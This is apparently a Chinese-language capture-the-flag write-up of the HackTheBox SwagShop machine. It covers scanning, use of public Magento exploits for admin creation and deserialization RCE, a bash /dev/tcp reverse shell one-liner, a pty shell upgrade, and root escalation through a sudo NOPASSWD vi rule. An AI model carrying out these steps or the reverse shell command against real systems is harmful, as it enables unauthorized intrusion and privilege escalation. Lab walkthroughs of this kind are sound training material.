靶機滲透_hackthebox__swagshop -3

在靶場裏逛了一圈這個覺得這個主機評論難度並不高 簡單和中等都有 簡單較多linux 環境

獲得ip10.10.10.140 

拿到IP 啥也不說先掃一下 

# Nmap 7.70 scan initiated Mon Jun 10 17:11:48 2019 as: 10.10.10.140
Nmap scan report for bogon (10.10.10.140)
Host is up (0.34s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://10.10.10.140/
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.4 (95%), Linux 4.8 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.9 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   357.82 ms bogon (10.10.14.1)
2   357.87 ms bogon (10.10.10.140)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 10 17:13:07 2019 -- 1 IP address (1 host up) scanned in 79.01 seconds

只有22 和80 開着 22放着吧 看看80 是一個商城類網站 用的cms都給了

magento 漏洞不少

magento 分爲開源與商業版本
最新版本爲2.X


對於magento 2版本訪問http://magentoversion.com 輸入url檢查即可

對於 1.0版本可以查看版權聲明
但是我這裏在版權聲明中沒有發現有用信息
/skin/fronted/default/default/css/styles.css

如果獲得後臺權限則可以在頁面地步版本號發現版本

或者使用chrome擴展
上述兩種沒有條件和已經知道版本就沒有去使用

nagento 既然有開源版本那就到github上找找
也可以通過app/Mage.php文件查看
搜索getversioninfo()函數
商業發行說明可以通過
RELEASE_NOTES.txt 查看 根目錄下有這個文件
這裏發現爲1.7.0.2版本

kali 中查找對應漏洞

可利用漏洞查找 在尋找web後臺走錯了路  尋找了不少文件 /app/etc/local.xml
文件中有很多有價值的信息但是 admin路徑並沒有辦法訪問

訪問時沒有該文件(可能是路徑沒有正確或者其他原因  機器經常掛最頻繁的是連續的掛掉)

後臺頁面找到之後
漏洞利用
37977.py 該文件可以在未認證的情況下創建一個用戶
需要修改的地方很少
需要修改後臺路徑或者用戶信息等 (拿到網站後臺權限)


可以創建用戶但是遇到了 

另一個漏洞腳本 37811.py magento 的一個RCE漏洞

這裏不貼了網上很多 
但是在獲取shell過程中遇到了與論壇中相同的問題
tunnel.group(1) Noneobject 
這個對象爲空的問題 由於 機器長時間處於503狀態 跟蹤37811腳本執行過程很困難

在論壇中得到提示

No clue how you guys utilized other functions to get RCE...

For those struggeling with "tunnel vision" trying to get a shell:
This method still WORKS. But @Chrix87 is right, something is missing. Look at the error message. Now look at your code and see what it actually searches for on the vulnerable page. Also visiting this page gives you a big hint. Now think of how you could get back what's missing!

 跟蹤腳本執行

這個cms 的擴展調用創建一個evil擴展 嘗試創建了一個模板但是失敗

經歷了大約幾天時間嘗試瞭解37811漏洞的細節

這個漏洞利用了php的反序列化漏洞但是我並不知道反序列化是什麼東西
然而 在後臺的儀表盤中並沒有找到需要的ga&h 參數
在文章中
https://websec.wordpress.com/2014/12/08/magento-1-9-0-1-poi/
詳細了介紹了關於tunnelaction的細節應該與上面那個漏洞是一個位置
關鍵的一個函數tunnelAction 
他會處理ga與h參數而對其攻擊
不過在靶機跟蹤過程中並沒有發現該連接
在閱讀理解相關知識過程中
magento使用的爲僞靜態而每個頁面似乎都跟蹤了hash或者經過加密的key值(我覺得是這樣)而單純的構造相關鏈接是行不通的 而且這個過程需要經過身份驗證 (猜測在某個不需要身份驗證的位置可能也會調用該模塊)

magento的url處理基於僞靜態所以處理時index 之後的url可以看作一個控制器 文件(模塊)  執行的操作 或者具體操作 參數等等 

找到 ajaxBlockAction 函數 發現在其下面就存在tunnelAction函數 似乎錯過了(具體原因不清楚可能會這兩者存在一些關係 對zend瞭解不多)

之後 在phtml文件中並沒有發現有價值的信息

再次google tunnelAction方法的作用發現有個關鍵字經常出現(圖表)猜測可能這個方法繪製了某個與圖表有關 

但是在後臺並沒有發現 圖表的圖
而原本exp中在進入後臺獲得source file 之後 搜索的是ajaxBlock 
於是跟蹤exp執行 在獲得後臺打開了一個ajaxblock 的url 指向一個關於日期頁面
但是這個頁面最初以爲只顯示當前日期提示 (以爲路徑在這裏丟失而找到的錯誤頁面 )

之後從參數中發現7d 表示7天 而後面的日期頁面也表示7天內的銷售情況
圖表(出現了這個是重點)

但是7天中並沒有 圖片 一片空白
這是html源碼

    <p class="switcher a-right" style="padding:5px 10px;">Select Range:
    <select name="period" id="order_orders_period" οnchange="changeDiagramsPeriod(this);">
                                <option value="24h" >Last 24 Hours</option>
                                <option value="7d" >Last 7 Days</option>
                                <option value="1m" >Current Month</option>
                                <option value="1y" >YTD</option>
                                <option value="2y" >2YTD</option>
            </select></p><br/>


對應exp 中查找到 url以及js代碼 一部分

function changeDiagramsPeriod(periodObj) {
    periodParam = periodObj.value ? 'period/' + periodObj.value + '/' : '';
    ajaxBlockParam = 'block/tab_orders/';
    ajaxBlockUrl = 'http://192.168.64.128/magentosource/index.php/admin/dashboard/ajaxBlock/key/620df6a942857e1fed61cc9773693ecd/' + ajaxBlockParam + periodParam;


    與php文件相對應

    於是嘗試選擇不同時間的頁面顯示情況但是前一段時間並沒有什麼顯示
    但是在兩年的時候出現了一個鏈接圖片但是該圖片無法顯示 
    (感覺來了)

右擊圖片複製連接新窗口打開 右擊查看源碼出來了ga參數以及h參數
    這應該就是在上文中跟丟的鏈接
    於是修改exp 把7d改爲2y 
    whoami 成功
    www-data
    剩下的問題是獲得一個持久的shell以及提權了拿到user flag

反彈用戶shell 
    在獲得RCE(遠程代碼執行)糾結於獲得一個持久的shell
    在獲得RCE之後最好是在本地寫個腳本之後利用RCE 在遠程下載並執行這樣方便很多
    
    nc 命令似乎在系統中被限制在重新編譯安裝之後發現也不可以使用
    在本地寫了一個bash腳本嘗試多種反彈方式
靶機李python沒有2只有python3.5版本 
    在網上查找各種反彈shell的姿勢
    執行腳本之後有一個可以使用 個文件服務器端下載測試了一堆 終於有一個成功反彈

    bash -i >&/dev/tcp/ip/port 0>&1 
    執行成功 本地監聽有迴應
    因爲遠程有python3所以執行下面命令以獲得一個交互式的shell
獲得反彈shell
   

 Python3 -c ‘import pty;pty.spawn(“/bin/bash”);’


    建立持久會話
    Ctrl Z到前臺

stty raw -echo


fg 兩次

    開啓工人模式 遍歷所有有權限的文件沒有什麼有效信息 但是在論壇中有人說獲得root是一個很簡單的
    猜測可能是sudo 的一個權限配置錯誤造成 的漏洞
    所以在網上找到了一個腳本linenum 可以枚舉用戶可以訪問的信息以及程序 系統信息

sudo 版本信息

 

  www-data@swagshop:/var/www/html$ sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16


    執行之後發現可以不需要密碼使用vi 在但是因爲第一次使用sudo需要使用密碼所以
    應該找到對應版本的exploit 進行注入代碼具體細節還沒有實驗

在獲取目標shell之後通常都是較低的權限這個時候可以進行提權獲得系統權限
    通常注意的方向爲 系統信息 uname env whoami history pwd
                    誰登陸過這個系統 who w Last
                    當前用戶是否在sudoers文件中 sudo -l ,cat /etc/sudoers 
                    是否有其他超級用戶grep -v -E "^#" /etc/passwd |gerp awk -F :'$3==0 {print $1}'
    查看一下網絡信息 ifconfig -a,netstat -antlp , lsof -i
   root.txt 獲得的過程
   在拿到shell 之後 在論壇中有討論和一些提示 root的獲取點在sudo但是
   在測試過程中sudo 需要密碼 於是查看各種文檔於資料但是沒有獲得有價值的信息
   sudoers文件中的nopasswd 字段生效
   在實際使用過程中
   指定了用戶但是還是出現各種問題
   最後在一次測試中

   sudo -u root vi /var/www/html/shell.sh 


   源於在sudo -l 
   資料中發現 

   root    ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo    ALL=(ALL:ALL) ALL
www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*


[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*


[+] Possible sudo pwnage!
/usr/bin/vi 


上述信息根據 linenum腳本枚舉(root的確是非常簡單之前沒有注意這個地方以及命令的格式)


完成root獲得

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!
獲得最終root
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章